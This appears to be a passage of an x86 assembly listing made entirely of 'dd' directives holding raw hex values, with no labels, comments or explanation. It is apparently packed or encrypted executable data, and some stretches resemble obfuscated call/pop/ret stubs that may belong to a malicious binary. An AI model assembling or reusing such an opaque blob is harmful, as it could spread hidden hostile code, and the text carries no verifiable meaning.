5680B02Fh, 2E129E30h, 3800DBEh, 0F641DE4Bh dd 757ED0Fh, 5591DB3h, 0B65EBCA3h, 7BFF0411h, 32CDC049h dd 0DD822478h, 6511B591h, 2ED7CB10h, 0A619F0A8h, 934F811Bh dd 0CE11B593h, 991DB01Fh, 1B53E2DBh, 0C756092Eh, 0D327404Dh dd 0C215C9EFh, 5AAB0FF0h, 84559CC2h, 81277710h, 11B591DEh dd 449D1162h, 19F0B651h, 2D811BA6h, 912837E9h, 4B9811B5h dd 3F632896h, 0C3FAB83Eh, 0E70D3872h, 2F0B256Dh, 0E92D91E5h dd 0B26C7355h, 0D4D611B5h, 607B8865h, 0C981D271h, 0B63708D7h dd 0A72BB811h, 0F1486999h, 0E086CF0Fh, 0FB6AE5FEh, 98ADBB17h dd 12AF21C8h, 7BCCDA9Ch, 2097DEC0h, 25000000h, 9BD3625Bh dd 0F09DF125h, 60064F0Fh, 0FA97657Eh, 182D3B17h, 0BFAC6442h dd 0C43FDEh, 0C08D0000h, 956C32CDh, 7CC3A27h, 6C22F663h dd 0A84FC0DEh, 0B4F8AE2Bh, 0E54F5E5h, 6967A7CBh, 0F9464A6Ch dd 9E299C75h, 0C37E71C8h, 0DC3B6759h, 108311B5h, 84742575h dd 189E9FC3h, 8540B386h, 8B3A93E1h, 0EFDE8FC3h, 1A88D65Ch dd 9C0FF0E9h, 0C891D557h, 0F2A036D9h, 0EC206ADBh, 0BB3FCA3Dh dd 429D9B95h, 16842916h, 66BAF471h, 0B7E38C22h, 165F1E42h dd 0B65B4980h, 36A77636h, 0DCCA0397h, 0BDF10F37h, 0C9C712Eh dd 1DC4Ah, 2EE5D200h, 0CE776BBEh, 6A1B8B5Eh, 15B827F2h dd 0BF544297h, 113AB2Dh, 9B6EFE93h, 39009C29h, 56A339C8h dd 4544D863h, 54FCE3C5h, 3B441800h, 3DD2C01Dh, 0DC675AAFh dd 625B1240h, 45478BF7h, 0FE7BAD81h, 40F9EDBCh, 60BA1B1Ah dd 376614BCh, 2284C84Eh, 0FF14AF4h, 7B65394Ah, 17FB4468h dd 0B92DFC3Eh, 83A76858h, 0D8B1F572h, 55D926E9h, 0FAECAEB7h dd 0A5DEC059h, 0E0h, 32CDC017h, 0E836CD78h, 831C3114h dd 10FE570Fh, 79B9277Bh, 4111B608h, 0E029B34Eh, 200C52EDh dd 3CCD3DECh, 0B6004F10h, 0B9A61811h, 911B600h, 860C59FCh dd 0E40F1D4h, 0F114FAA8h, 1786570Fh, 8B0F2E74h, 6F45A72Ch dd 795F1FAEh, 1642CBE6h, 8461515Ah, 2A1061C0h, 0B8058292h dd 14B927F6h, 0BE534188h, 2F1E6E94h, 0DDFB0F71h, 0F1h dd 0A339D03Dh, 43D96256h, 0E74506F6h, 7CE0A312h, 128A3FADh dd 7E6C28B0h, 148653C9h, 0B324F577h, 4E418814h, 2E5029B3h dd 54E788h, 0A0E5B18h, 76118455h, 0DBBB29E0h, 0B591FAE5h dd 16A74411h, 0D7DADD69h, 0D09AE76Ch, 65E99809h, 51778BEBh dd 11B5D98Eh, 179C5930h, 0C76E7794h, 0EEE138BEh, 0C495C953h dd 1BC4FAD0h, 0A711B67Ah, 6F5DD15Eh, 6C32CDC0h, 49C32500h dd 0F1DE1F19h, 9631A47Dh, 0CC7D5816h, 319F4E82h, 0F237C69Ch dd 102145FEh, 53BDB49Ah, 0CB920FFEh, 15A228DDh, 0EBDF8EC0h dd 69ED0C52h, 60CD31h, 9265D0D2h, 6F62BB3Fh, 0E8148D4h dd 570BBA2Bh, 5B0559A6h, 0DB264483h, 0F59BA230h, 4C12B524h dd 0FDF029ADh, 9C0FDA42h, 0F5E4BDE1h, 195B0C52h, 0E6D6C904h dd 683C1FC0h, 0D552A355h, 740F8257h, 3A82Eh, 6FEA0000h dd 3CD3C071h, 611C8F66h, 0D473643Dh, 38C5378Eh, 681D8B62h dd 0D86D5B32h, 9BC2B82h, 7B0CFC55h, 0A15A4E27h, 895676FDh dd 4C681E6h, 83000000h, 348704EEh, 4895C24h, 0E1895124h dd 4C181h, 0E9810000h, 4, 5C240C87h, 68243489h, 1AA5h dd 68240489h, 34F3h, 68241C89h, 124332B1h, 8ECB815Bh, 81168764h dd 7CBE40EBh, 5BDE8910h, 24048B54h, 5604C483h, 10DBBE56h dd 7401101Bh, 8F5E0424h, 68810840h, 1B10DB08h, 24048B10h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch, 89502434h dd 405E0h, 0C0830000h, 24048704h, 0B82FE95Ch, 4B46FFFAh dd 274C561Dh, 0D9D2B841h, 9F301120h, 4AC513B8h, 0FFC50306h dd 530A1E0h, 590C7058h, 0DA1F961Ch, 0FE1B2026h, 486DF47Fh dd 3B0D9806h, 8AC2C37Eh, 0D2EB496Ah, 0B76B1F20h, 8C0F3978h dd 0E371354Ah, 711DA53Fh, 64EDE505h, 0A1F53D64h, 889C4C37h dd 3BC95406h, 6EA31655h, 7DF54E38h, 0C7D1B241h, 0D6848B3Ch dd 0D9CB3144h, 8B29E49h, 0FD673404h, 0A8F1A479h, 0CD9A3F68h dd 3C089E7Bh, 0BA9FA51h, 6AC08B7Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3987C356h dd 0F7AF260Dh, 0BD831BDAh, 64530A1h, 83097500h, 4504BDBDh dd 19740006h, 0C08B5350h, 3FCB8h, 0FD858900h, 8D064512h dd 47B56C9Dh, 5BD3FF06h, 0BDBD8358h, 64504h, 53501774h dd 3FCB8h, 0FD858900h, 8D064512h, 47B25B9Dh, 5BD3FF06h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 478F0A23h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 64C35141h, 3AC5D42Fh, 0E9DBC60Fh, 6 dd 4982DBF4h, 0C08BCC18h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0A2C35040h, 83DE8B66h, 450025BDh, 840F0106h dd 71h, 0BE9h, 74238F00h, 27E64E02h, 0F8AC148Bh, 20E1BD83h dd 0F000645h, 5485h, 83DE8B00h, 450715BDh, 840F0006h, 82h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1EC35747h dd 0E876D44Ah, 9, 115C13Bh, 0E5AE6675h, 0CE808h, 0E7920000h dd 23FE2D4Dh, 0D9259B15h, 0F4BAE2D1h, 5B7E0F06h, 3B1E95Bh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0F7ED7C3h, 0D8BFh, 8B660000h, 0AE960D1h dd 0AD000000h, 632F89F8h, 983F4EEDh, 85DE6124h, 36E37816h dd 30D4BEC2h, 73AF7F2Bh, 655DF15Ch, 0A7FB7010h, 0BD2198B8h dd 78F6B0AEh, 6653DA2Dh, 30A9B3C3h, 0F38A902Bh, 141E3975h dd 1471312Fh, 309AAD2Fh, 0F31BF62Bh, 0A83DD2B2h, 0D5EC03BBh dd 87A658A4h, 0B21731F5h, 0CF4E2F26h, 0F2B4D6FBh, 2073B98Dh dd 3F4DB02Eh, 30A6BEA2h, 305A592Bh, 5DC9B02Bh, 899586E7h dd 3FFB738Bh, 3035B3A8h, 0E811D62Bh, 304D587Eh, 0B1FBB02Bh dd 7A9BF3C6h, 66A9DA2Dh, 30D4B3C3h, 0F334902Bh, 14413975h dd 14DE312Fh, 304DAB2Fh, 0F3F0F62Bh, 60782636h, 9008A80Fh dd 30D4B8C3h, 3331222Bh, 0DD3FF9FFh, 221D6A4h, 0F2CCEA8Dh dd 71F05E00h, 303970A0h, 30AA587Eh, 6DF4B02Bh, 5CE3EDE8h dd 74B4B40Fh, 308DB40Fh, 6508B02Bh, 949A93E8h, 0A0893BACh dd 14E7AA90h, 0E95EE06Fh, 0A29830BBh, 1479B124h, 3410BFD5h dd 564DB02Bh, 681D6B90h, 0D806B041h, 30A9B028h, 6D17ED0Bh dd 344EDCA2h, 3411F4AAh, 309AB03Dh, 1A8EE56Eh, 3CA3A9C7h dd 5A53B029h, 3341E72Bh, 10D4B02Bh, 0B9357374h, 0B1319457h dd 2A9E946Fh, 774DB02Bh, 2E0D737Ch, 75941E53h, 30AE5972h dd 0D398B02Bh, 0ED5FD145h, 5A3D3B71h, 3372E02Bh, 104DB02Bh dd 0B9FE7373h, 0B157946Fh, 2DAD946Fh, 70D4B02Bh, 0B81C737Bh dd 0CEB0EB17h, 0C234560h, 3CAD5AAAh, 0BBC0BF30h, 30394C63h dd 30AA587Bh, 68F4B02Bh, 74E3E8E8h, 74B4B40Fh, 3086B40Fh dd 600DB02Bh, 43F600E8h, 4767EFADh, 3E4023D3h, 90D4B02Bh dd 0FA6921E8h, 0C0D8557Eh, 0E04514FFh, 304C0890h, 30CCB02Bh dd 3050587Dh, 6E89B02Bh, 445DEEE8h, 74EBB40Fh, 3028B40Fh dd 66DCB02Bh, 7E5676E8h, 533E2476h, 8B1CA7CFh, 7E58BD64h dd 6086E07Bh, 3F31E779h, 6AC13A1Ah, 56ABBF73h, 6AC0D390h dd 14AA3973h, 3053BBC2h, 0F1955E2Bh, 9927233Bh, 2E34F05Fh dd 5AEC3C4Dh, 3372E62Bh, 104DB02Bh, 0B9F87375h, 0B157945Fh dd 2BAD946Fh, 76D4B02Bh, 0F7CA737Dh, 0C2FFBEFCh, 8BFCA3FCh dd 87420C59h, 346746F5h, 30913524h, 161BB02Bh, 47D70A4Dh dd 307E5972h, 3862B02Bh, 260CCE1Fh, 99C013C3h, 5390DE35h dd 8AF8DA41h, 929CCC8h, 0DB51BF43h, 0B06AB02Bh, 20DC7FD8h dd 9AB02Bh, 6F68F952h, 5857E3B6h, 8C2FF2CEh, 0BB404615h dd 0B9DBB152h, 306AB029h, 0CFB46CA1h, 0B09AB02Bh, 30F13224h dd 8FA9B02Bh, 305559FDh, 0FB0BB02Bh, 97500085h, 0F7C535ECh dd 3034B661h, 0F31AB02Bh, 0EACCD67Ch, 884FA48Ch, 5A53B02Bh dd 3341E32Bh, 10D4B02Bh, 0B9317370h, 0B1319477h, 2C9E946Fh dd 734DB02Bh, 37A87378h, 0F0403505h, 3FC48FE2h, 0B3DB6894h dd 306AB03Bh, 3035B6C3h, 0AAAA562Bh, 567FC69Ch, 6B6A3291h dd 3053E5C2h, 6A50E12Bh, 0F255D672h, 0B30C23CFh, 3FCABB52h dd 309AF1AFh, 0B58A492Bh, 36EC7784h, 3053B02Ah, 0D8F9B041h dd 30D4B028h, 68A9E80Bh, 3411F4A2h, 34BEF4AAh, 304DB032h dd 0A65E06Bh, 77060C02h, 0ED29D02Fh, 30DF5984h, 2E04B02Bh dd 0E2A3E22Eh, 0FF9897DCh, 5A05D14Fh, 334EE62Bh, 1053B02Bh dd 0B9F77375h, 0B1D0945Fh, 266E946Fh, 7635B02Bh, 0E588737Dh dd 899E3BA5h, 6A0FA7DBh, 0FD2C35A6h, 8D24B661h, 369E7B77h dd 371E4810h, 0F9E4BF1Bh, 5A6F5B6Ch, 33A5E22Bh, 10A6B02Bh dd 0B9097371h, 0B1AD947Fh, 2CD0946Fh, 726AB02Bh, 0F3067379h dd 4481C451h, 0D923D3B1h, 30A6B023h, 0CB30CDA8h, 5C008BB7h dd 0D885B041h, 306AB028h, 69F6E90Bh, 34BEFCA2h, 3469F4AAh dd 30A6B03Eh, 7590E16Ah, 3E23BFCAh, 50D4B02Bh, 306A3424h dd 0BA3AB02Bh, 309AB02Bh, 0EBF7D64Ah, 151B33A4h, 3155F52Bh dd 302B3424h, 30BEB02Bh, 3069587Bh, 6815B02Bh, 7413E8E8h dd 74CCB40Fh, 30B1B40Fh, 6013B02Bh, 0C0F9A7E8h, 0E65FE7BAh dd 0D1D73371h, 3033F50Bh, 30C83524h, 3027B02Bh, 30A5587Ah dd 6973B02Bh, 7C20E9E8h, 7455B40Fh, 307DB40Fh, 6174B02Bh dd 3AFCB9E8h, 7DAE31BFh, 0B3823043h, 7554A596h, 0B4A6B02Dh dd 30D4B061h, 0D83DB041h, 3035B028h, 6F59EF0Bh, 3469CCA2h dd 3482F4AAh, 3053B03Dh, 0D26AE76Ch, 8B67BF88h, 306A6AC2h dd 6735DA2Bh, 309AB3C3h, 0F312902Bh, 14DA3974h, 1417312Fh dd 30A9AC2Fh, 0F383F72Bh, 0EFAB15A2h, 0B94AA6FCh, 8D194C7Fh dd 3608B00Eh, 4823BF2Ah, 5A53B02Bh, 3341E22Bh, 10D4B02Bh dd 0B9307371h, 0B131947Fh, 2C9E946Fh, 724DB02Bh, 0CCCE7379h dd 8BCCD466h, 3F63E1D8h, 30D4B2A9h, 3FB33B2Bh, 3035BBA3h dd 0BBFCD02Bh, 30C3BFE1h, 51A6B02Bh, 6353DA76h, 30A9B3C3h dd 0F38F902Bh, 14363970h, 1471312Fh, 309AA92Fh, 0F31EF32Bh dd 94D6CF2Ch, 0F6D3B740h, 704073B1h, 67D4B02Bh, 306AB6C3h dd 0D7D0D72Bh, 50B6EDBDh, 6D17EB4Ah, 8365314Dh, 30397F03h dd 30AA587Bh, 68F4B02Bh, 74E3E8E8h, 74B4B40Fh, 3081B40Fh dd 600DB02Bh, 0E75BF5E8h, 1329008Fh, 436A31DAh, 0BDB14A9Ah dd 7AAD7796h, 7CB83D2Dh, 889CFAE6h, 4B77EC36h, 1E1B3518h dd 0FF78B66Eh, 0DB8959EAh, 0A66A0FA7h, 61FD2C35h, 778D24B6h dd 10369E7Bh, 1B371E48h, 83F9E4BFh, 0A4F305E9h, 0C7AFBD83h dd 7400064Ah, 1C8D8D0Dh, 0B806454Eh, 1, 6A40E1FFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0AC71C355h, 8FFEE127h, 0D78B56EBh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 1AC35545h, 0DABF0FEBh, 85EB8166h dd 0D18B56D2h, 2DE8835Bh, 8BD9BF0Fh, 83AFB7C0h, 4530A1BDh dd 9750006h, 4BDBD83h, 74000645h, 8B535019h, 3FCB8C0h dd 85890000h, 6452C41h, 0B5D39D8Dh, 0D3FF0647h, 0BD83585Bh dd 64504BDh, 50177400h, 3FCB853h, 85890000h, 6452C41h dd 0B2749D8Dh, 0D3FF0647h, 6A585Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0DFAC49C3h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EC35040h dd 9EE75DB3h, 52152892h, 13E8h, 43E9D100h, 74EC17BBh, 3D3D9C25h dd 6B2F4154h, 18481A60h, 0BA605BF8h, 43F8A46Eh, 61FEBF0Fh dd 7E9h, 39B4F800h, 0E26C2FACh, 12E8C08Bh, 0C9000000h dd 0C63CA572h, 0C932823Ah, 340AF39h, 0EF61DABh, 5D781FBh dd 5A2DB625h, 9E9h, 4C8D4C00h, 9FB55104h, 0C2814CC2h, 714Ah dd 0B9FA8B66h, 15ADF472h, 0D84BE981h, 880F15ADh, 6, 0B2BE6657h dd 32FF5B17h dd 6EE8166h, 816658AEh, 817A21D7h, 0B2ED3F0h, 1810F2Eh dd 0F5000000h, 9547F081h, 89B700C9h, 8C22E881h, 0F38B355Ah dd 81660289h, 81D3C7DEh, 7D854CEAh, 14E87Dh, 1E6A0000h dd 0E333A2E9h, 395C3247h, 0A2228744h, 0C90EF47Eh, 0F8604F4Dh dd 0C2815F61h, 7D7D8548h, 4E82C381h, 0E9837BFFh, 97850F01h dd 8BFFFFFFh, 5C8D8DFEh, 6A064AD0h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0AA80C352h dd 9E8h, 986D7400h, 0D1A80CA2h, 858B50C3h, 6450D81h, 6DBD8B58h dd 89064524h, 452A018Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 7DDD051h, 0DBB4C2F7h dd 3D585C7h, 74440645h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 1BD26C3h, 0BA4F974Dh dd 18ADD0F8h, 0C7F9BF0Fh, 45095D85h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0B58B6025h, 6453259h, 5E9h, 860D9900h, 0B761BAC1h, 0ADB5FF9Fh dd 89064523h, 4528D5B5h, 1195FF06h, 6A06452Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0A752C355h, 0D78B66E4h, 95FF006Ah, 6453121h, 6AEBC08Bh dd 7AECDDBFh, 9D2EAF27h, 0B87D3ACh, 0EA722CE7h, 8B4FAD12h dd 1AEDD77Ch, 49DA3D93h, 5B4D1D40h, 78E75754h, 70913EB1h dd 25EB9426h, 0A7078D69h, 0F04C1943h, 60D167DDh, 0FA64A200h dd 68D6105Eh, 1F5A390h, 0E8DBEA55h, 8726B50Eh, 19BF124h dd 0C79DAB83h, 8DF4534Ah, 0D090DF64h, 2C04F942h, 0CE78BEF9h dd 486089D3h, 98E924DEh, 94000000h, 5000000h, 1000000h dd 28000000h, 200000Ah, 20h dup(0) dd 2E000000h, 0E9089EA6h, 0B9Ah, 4AD31668h, 0AC63E906h dd 768FFFAh, 0E9064AD4h, 0FFFAAC59h, 4AD4F168h, 0AC4FE906h dd 9B68FFFAh, 0E9064AD5h, 0FFFAAC45h, 4AD72468h, 0AC3BE906h dd 9D68FFFAh, 0E9064AD7h, 0FFFAAC31h, 4ADAAF68h, 0AC27E906h dd 9C68FFFAh, 0E9064ADBh, 0FFFAAC1Dh, 63F9907Dh, 3992296h dd 0A705C636h, 3CA06352h, 0D24AFFEDh, 3EAC6870h, 0D4C61389h dd 7364B537h, 0E8148D4h, 6E90E973h, 62A748h, 0CACE1B18h dd 0B13F855h, 0CAF904DDh, 138823C4h, 0D65CD909h, 0ADF18C7Fh dd 0C626E1D4h, 39C437E6h, 1C5ED465h, 974608B9h, 0AC106627h dd 0F11FF80Ah, 1084550Fh, 8502BB2Fh, 7DDA50E1h, 372CB2E8h dd 0FD17FB42h, 532A7009h, 56FCA263h, 0D59AFD00h, 7E68324Bh dd 0D5DEC053h, 38303F91h, 439017FBh, 5F8FCFh, 9A430000h dd 0D6149A29h, 9BD3625Bh, 917E6147h, 0B1C211B5h, 475F713Dh dd 0F90FF09Eh, 5E04C334h, 200C52DFh, 7708D505h, 92A3C786h dd 2D165331h, 850B5384h, 3185AB6Bh, 0FB63342Fh, 7C07FA17h dd 0AF5E4F26h, 0FA0351FBh, 0C1E8D267h, 2DBF33CEh, 33A14818h dd 485E189Eh, 13DEC078h, 0A5h, 32CDC0A1h, 6227956Ch, 0D772653Ch dd 10FEAF93h, 0AB1EF77Bh, 0A41A5E10h, 11B591BBh, 7755FE07h dd 4F12755Dh, 0D6E866ECh, 11B5BE82h, 2CB04BBEh, 0B5FEADDh dd 1D5DEC29h, 0F0B5ABBBh, 5CC0150Fh, 6E5EB716h, 0B81E50DDh dd 1642651Fh, 511852A3h, 7CFDA160h, 0F5E38AF6h, 8F7DCC50h dd 7CA2D8FAh, 0BFCB712Eh, 95919h, 22E9D600h, 0C27B6FBAh dd 6E1F8F5Ah, 9BC2BFEh, 0B3584693h, 50F9729h, 9F6AF297h dd 3D0C902Dh, 5AAF3DCCh, 4940DC67h, 6500EFC1h, 37401800h dd 3DD2C011h, 84675AAFh, 68F47116h, 0BF11554Ah, 11B591B0h dd 158BC310h, 11B5914Ah, 0ABE96DF6h, 35EBA312h, 0FF09DE1h dd 9544165Fh, 30C16524h, 9597587Eh, 0DA2B17FAh, 81527C54h dd 4717FA97h, 1CF5A954h, 0A0471BACh, 0F5BA1D20h, 9E08526Bh dd 0F9DEBFACh, 0BFh, 32CDC0CBh, 6227956Ch, 9E46923Ch, 0F8211B5h dd 0AE21E874h, 0A86D4F13h, 313E90D4h, 9111B596h, 96876844h dd 0AA3B11B5h, 9B4B6D2Dh, 250FF095h, 0A9B4BB1Dh, 7E7217FAh dd 3590A1C5h, 5F647984h, 0F774439Eh, 5C02C132h, 0E6CC50DDh dd 0E2C49627h, 16423556h, 6D767ECh, 0A069F398h, 9BB59D32h dd 52712E47h, 86880D6h, 0DAC70000h, 6C60A933h, 108049D3h dd 0AD1CED7Fh, 49B7821Ah, 1EA61884h, 59C38876h, 0FB611E90h dd 9E0EBD2Eh, 3FAD584Bh, 0F1FED05Ah, 51180065h, 0D2C00000h dd 8ED47565h, 81A8E26Fh, 63FD7110h, 158BCF03h, 11B5914Ah dd 0A04F6DF6h, 2011B591h, 13865FD3h, 0C0CEF468h, 6C32CDh dd 11FF6A59h, 8AABFF7Ch, 2FDACD04h, 43D6F7BDh, 0F6EAA8C0h dd 0BA23E44Dh, 0E4DA9411h, 0FFE4EBFh, 0F9A0EA7Bh, 0EFE17B06h dd 18006F90h, 0E745FCD5h, 0E4214CA8h, 0D7A30555h, 61163B67h dd 31F3D14h, 508A0C61h, 0E38AC475h, 96DA50F5h, 4986FE30h dd 7B3340B0h, 0EDE42CEh, 0C824A6Ah, 16A76654h, 0A62B6244h dd 0B178B69Bh, 5DDC823Fh, 0A5F57ED9h, 0E64601F4h, 0F628A013h dd 0BE9BC6E9h, 0A4635459h, 75F27FFEh, 87C4894Dh, 0A2347411h dd 77Eh, 9F0DC431h, 3FAD564Ah, 0D349FAEAh, 68F49706h, 0E9E33A1h dd 7260344Ch, 8FA4FDDh, 0A718E17Bh, 42B58418h, 3A642587h dd 65DB84h, 3E1A6718h, 9BD3625Bh, 0FE41FE25h, 0C2E4BA0Fh dd 1800621Dh, 7C9762A7h, 18BBA749h, 19A216CBh, 6737B445h dd 6EE28D23h, 435C1800h, 70A415DFh, 88ED77Eh, 6B590044h dd 2D3294A6h, 95180075h, 9F13CA40h, 168554E6h, 0D61FF73h dd 7508D7C9h, 9EBA1800h, 8299529Bh, 66BBC86Bh, 6293D774h dd 38C135ECh, 35188B62h, 0DC695BC6h, 0B4EA7786h, 421E3885h dd 0AB6AEC75h, 6D4795Fh, 6E5B0000h, 0F445A7h, 0A414E547h dd 41B079E3h, 0DDCB1E8Eh, 8A12B428h, 0F5771C8Ah, 9715B224h dd 2AB25142h, 0CB51ECDFh, 856A4CCEh, 3D180066h, 625B94ACh dd 96479BD3h, 3DD2C023h, 0C74BEAB0h, 0FE42BAF9h, 86387E0Fh dd 180062D9h, 0DF9F1C69h, 6A24B672h, 0F0D65819h, 18003FEFh dd 31850253h, 53299C4Dh, 0CA4616F6h, 6C409CB0h, 18005D83h dd 6129B63Fh, 308649B8h, 40F9D09Eh, 0D26B5F0Eh, 0DDC105Ch dd 8045B39Eh, 58DE5F03h, 5D6D76h, 0CCE22618h, 18005D23h dd 77C0569Fh, 0C1100BCAh, 0F6E505C3h, 61EE0F53h, 0AEFFAAE4h dd 0F869601Eh, 0AB97CF43h, 638246FEh, 78A24Dh, 6CD51E18h dd 2AA00C54h, 0F4E04h, 31A0618h, 0C5204F57h, 4B08DEh, 15C40000h dd 0BEBFE3A6h, 515DAFCh, 58AD1800h, 6E5B90D2h, 0F4387D7h dd 0B591C6A9h, 65E97A11h, 0B591905Bh, 87DB2811h, 0B5930AD9h dd 2DE2D011h, 9E31A079h, 40459FC8h, 758898DDh, 7AA4C125h dd 79AD8h, 3F280000h, 1BDh, 0F1887A01h, 4D565D4h, 3C60F691h dd 0F089F09Ah, 9FCAD0Fh, 8509287Eh, 808EA132h, 0D258E9D9h dd 633B2D8Ch, 882E6267h, 0C7A559E7h, 0D6840A5Bh, 923446F7h dd 0C5E0619Ch, 0AF8DD122h, 0CE9FDF6Eh, 0FBA72BE0h, 32BBC8C5h dd 0AFEF74CCh, 0B251426Bh, 191FE311h, 9B1F3CB5h, 28B44F42h dd 7353EEE1h, 271F3F73h, 4B587E8Ah, 0E4000005h, 7DCC50F7h dd 9D6CF089h, 39009C2Dh, 54A507CAh, 993BA166h, 0E0A51301h dd 8E3BAD7Ch, 2BDACB1Eh, 0CA7568B1h, 0D1F73752h, 1800680Eh dd 0C06325B2h, 247832CDh, 0F1491B09h, 0D2FECD5h, 11B5AD62h dd 490195DEh, 0ABE3526Bh, 0F0D0D575h, 0D39D880Fh, 72D19AEh dd 5FA43387h, 0F4B6321Fh, 0F67AFE6Ah, 0DCDCEE4Dh, 0F046FB6Eh dd 6D188B5Eh, 0E6DC7345h, 0B81E6A6Ah, 4D2h, 43D9705Dh dd 0E37902F6h, 87E5A616h, 1C8043B2h, 0B22ADFCDh, 1E8C8810h dd 0B426F369h, 53449517h, 0EEE128B4h, 4EB0C953h, 688768h dd 0EAAE3B18h, 6C32CDC0h, 0C3672295h, 87CDD060h, 0AE24E7D6h dd 63F98477h, 7AA49D09h, 0B423CAD8h, 77AC4D11h, 93A2F885h dd 3D5F1Fh, 5B6D0000h, 0B7B81E62h, 7511B591h, 0D961C485h dd 0B591F8E7h, 0BE3B4811h, 74257931h, 9A299A85h, 22A8491Dh dd 0F09C421Ch, 3377FC0Fh, 0FA9AB6ADh, 697CEC17h, 0BFAFB531h dd 43EEDEh, 5BDC0000h, 259BD362h, 0FF0C352h, 0D9842805h dd 0E7A20D4Ch, 0FFBFC493h, 9B01BA2Eh, 0E0A312DBh, 2937BBBAh dd 17FB1A39h, 0B72B0E81h, 5CD9580Eh, 0FC8579C0h, 10FDEBB2h dd 0C165E29Dh, 0F4E2BA30h, 3FAh, 108455DEh, 8C023377h dd 3C7ECFCEh, 48CE7B6Dh, 9960A204h, 6C3D0FF0h, 6796CC7Bh dd 6B3F4413h, 2A641F92h, 7FF39203h, 0A6BF3D27h, 2A64D5F0h dd 61F59003h, 0A3779B3Dh, 962A1635h, 3FA52F30h, 0A66931Eh dd 0E918C674h, 78DF53D0h, 35A871EBh, 27E6D48Ah, 4C80C496h dd 3FF0856Ah, 22A83D1Eh, 7B030A1Ch, 7B2FB41Ch, 0A3F1F44Ch dd 0EAF52B6Fh, 5624851Fh, 1F402F0Dh, 73802485h, 50B326FFh dd 1426A35Ch, 0ECB25745h, 1957C94Dh, 6B4D0DBCh, 22C028F3h dd 0A776384Dh, 20D19538h, 0A81BF2AAh, 1F0491Dh, 4E41184Eh dd 7494EFB3h, 9DD7EE71h, 62F7D688h, 0D263436Dh, 6B23A092h dd 3BBF5442h, 80FD5177h, 0FF432905h, 65296F52h, 0DDFFEB05h dd 310EEF12h, 44D825AEh, 234702F5h, 0FFEF5C4Ah, 9C89C14Eh dd 0E5F0F5E0h, 0E3BB3F5Ah dd 27E2FB79h, 0FDE2C4B4h, 45310EBFh, 7B29B330h, 5BBF342h dd 2F49D211h, 391426AFh, 29CA8F04h, 0F47CBD7h, 0F6B843B6h dd 0CAD6045Bh, 195C1DBh, 0BFC61E49h, 79AB3E9Fh, 50A55FB3h dd 3448028Fh, 5455CD92h, 6AE07537h, 0CC3BE226h, 5ED46539h dd 8F682670h, 0D14B9835h, 0B4EA9508h, 0CD5FEADDh, 138455E9h dd 2D0F2E74h, 3D998442h, 2C720D80h, 0D95DA60Dh, 0DB93229Bh dd 0D4958DE5h, 5D65C03Bh, 0CD06732Bh, 37B45344h, 9BCF14A3h dd 0DF431E35h, 56F1E443h, 0BC45B910h, 0E7FE7CE6h, 570BBC2Ch dd 0F41459A6h, 543DA9F1h, 436A0AA4h, 41F0B64Fh, 318DCDh dd 5B3F0000h, 259BD362h, 0FF09DF1h, 7E60064Fh, 17FA9765h dd 0D88E37ABh, 0ADF19001h, 0A4374EDEh, 0DFEAFEFh, 536AF87Eh dd 0BFAC9F07h, 0A1F8DEh, 0C0CA0000h, 956C32CDh, 1286227h dd 277FF38Eh, 0FAA05B4Eh, 4B31B023h, 80ED01E1h, 8E517707h dd 3211B659h, 86B824A1h, 11B66652h, 0FC601B8Eh, 0ECC2BA2Dh dd 11B65F03h, 0F5A936BFh, 0E7B70687h, 0F17351C1h, 0E9EE70Fh dd 9AD465A0h, 43270C24h, 6D2DB616h, 0F1E14EBCh, 8049D350h dd 69557D12h, 84712F3Fh, 1C05204h, 826F0000h, 148851CBh dd 0B828F16Bh, 55449517h, 0F1DF2AB2h, 760EC05Ch, 19B309Eh dd 0A339C638h, 46A66556h, 0E74500F3h, 994678A2h, 2918006Bh dd 0D2C0F8D8h, 675AAF3Dh, 5B1240DCh, 259BD362h, 0FF09DF1h dd 0AD5CB4Fh, 0B617FA95h, 0B6FAA02Dh, 0C056F7E7h, 0FA97E5FEh dd 0BBA2B17h, 700BFE57h, 0FFE0C62Ah, 4317FA95h, 45589E32h dd 7A839DD2h, 0BFACC620h, 0CA91DEh, 8C5D0000h, 0D9EB6F18h dd 7832CDC0h, 91DD8224h, 346511B5h, 0F7CA0906h, 0A77CF94Bh dd 2FCE9439h, 0AC1AF3ABh, 0CB1D43E7h, 711B5D9h, 0A673E994h dd 0EED28833h, 0EC933A43h, 1E943C80h, 86C8795Ch, 0F1467220h dd 2DBFC40Fh, 0A7F74647h, 42FCCE01h, 0A9E17216h, 3D7D1280h dd 47CB7C6Ch, 0A59200C9h, 0E5DB9336h, 1E4310FAh, 96B03D46h dd 712F0EB2h, 0D3993F4Bh, 5C000000h, 0F544D86Fh, 15E47801h dd 0B178E4A5h, 0CC1D8F42h, 11B329DEh, 681D8B89h, 16B325F4h dd 0B3524396h, 52EDE029h, 694FCFCAh, 18006C86h, 55EBAD3Ah dd 31751284h, 65538A00h, 0B02304F8h, 23A05115h, 0F346A6h dd 4A10A91Dh, 919F4066h, 0D22311B5h, 6E54C855h, 0A16CDC0h dd 5B1EC62Bh, 99BE63F2h, 59A6A24Ch, 0BC2F86DCh, 0F0D59B01h dd 28970941h, 980FFF18h, 